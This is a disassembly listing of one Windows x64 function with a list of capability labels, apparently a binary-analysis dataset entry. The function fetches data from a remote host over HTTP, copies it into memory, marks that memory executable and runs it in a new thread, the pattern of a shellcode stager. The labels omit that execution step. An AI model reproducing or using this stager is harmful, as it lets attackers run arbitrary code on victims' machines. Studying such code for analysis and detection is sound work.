Function at 0x140001a02
Capabilities:
Create thread
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
push rbp
mov eax, 0x12f0
call fcn.14000cb80
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1280], rcx
mov qword [rbp + 0x1288], rdx
mov qword [rbp + 0x1290], r8
mov qword [rbp + 0x1268], 0xffffffffffffffff
mov qword [rbp + 0x10a8], 0
mov qword [rbp + 0x1260], 0
mov rdx, qword [rbp + 0x1290]
lea rax, [rbp + 0xf60]
mov r9, rdx
lea r8, str.GET___s
mov edx, 0x104
mov rcx, rax
call sym.snprintf_char__unsigned_long_long__char_const__::_
lea rax, [rbp - 0x40]
mov r8d, 0xfa0
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x10b0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rbp + 0x125c], eax
cmp dword [rbp + 0x125c], 0
jne 0x140001e52
lea rax, [rbp + 0x1070]
mov r8d, 0x30
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x1074], 2
mov dword [rbp + 0x1078], 1
mov dword [rbp + 0x107c], 6
lea r8, [rbp + 0x10a8]
lea rcx, [rbp + 0x1070]
mov rdx, qword [rbp + 0x1288]
mov rax, qword [rbp + 0x1280]
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_getaddrinfo]
call rax
mov dword [rbp + 0x125c], eax
cmp dword [rbp + 0x125c], 0
je 0x140001b38
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001e53
mov rax, qword [rbp + 0x10a8]
mov qword [rbp + 0x1260], rax
jmp 0x140001be4
mov rax, qword [rbp + 0x1260]
mov ecx, dword [rax + 0xc]
mov rax, qword [rbp + 0x1260]
mov edx, dword [rax + 8]
mov rax, qword [rbp + 0x1260]
mov eax, dword [rax + 4]
mov r8d, ecx
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x1268], rax
cmp qword [rbp + 0x1268], 0xffffffffffffffff
je 0x140001bd1
mov rax, qword [rbp + 0x1260]
mov rax, qword [rax + 0x10]
mov ecx, eax
mov rax, qword [rbp + 0x1260]
mov rdx, qword [rax + 0x20]
mov rax, qword [rbp + 0x1268]
mov r8d, ecx
mov rcx, rax
call sym.connectWithTimeout_unsigned_long_long__sockaddr_const__int_
cmp qword [rbp + 0x1268], 0xffffffffffffffff
jne 0x140001bf4
mov rax, qword [rbp + 0x1268]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
jmp 0x140001bd2
nop
mov rax, qword [rbp + 0x1260]
mov rax, qword [rax + 0x28]
mov qword [rbp + 0x1260], rax
cmp qword [rbp + 0x1260], 0
jne 0x140001b4b
jmp 0x140001bf5
nop
mov rax, qword [rbp + 0x10a8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_freeaddrinfo]
call rax
cmp qword [rbp + 0x1268], 0xffffffffffffffff
jne 0x140001c20
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001e53
lea rax, [rbp + 0xf60]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp + 0xf60]
mov rax, qword [rbp + 0x1268]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov dword [rbp + 0x125c], eax
cmp dword [rbp + 0x125c], 0xffffffff
jne 0x140001c84
mov rax, qword [rbp + 0x1268]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001e53
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x1268]
mov r9d, 0
mov r8d, 0xfa0
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x125c], eax
cmp dword [rbp + 0x125c], 0
jle 0x140001e18
mov eax, dword [rbp + 0x125c]
cdqe
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x1250], rax
cmp qword [rbp + 0x1250], 0
je 0x140001e30
mov eax, dword [rbp + 0x125c]
movsxd rcx, eax
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x1250]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov eax, dword [rbp + 0x125c]
movsxd rdx, eax
lea rcx, [rbp - 0x44]
mov rax, qword [rbp + 0x1250]
mov r9, rcx
mov r8d, 0x20
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
sete al
test al, al
je 0x140001d68
mov rax, qword [rbp + 0x1250]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
jmp 0x140001e34
mov rax, qword [rbp + 0x1250]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x1248], rax
cmp qword [rbp + 0x1248], 0
jne 0x140001dcd
mov rax, qword [rbp + 0x1250]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
jmp 0x140001e34
mov rax, qword [rbp + 0x1248]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x1248]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1250]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
jmp 0x140001e21
cmp dword [rbp + 0x125c], 0
je 0x140001e33
cmp dword [rbp + 0x125c], 0
jg 0x140001c84
jmp 0x140001e34
nop
jmp 0x140001e34
nop
mov rax, qword [rbp + 0x1268]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001e53
nop
add rsp, 0x12f0
pop rbp
ret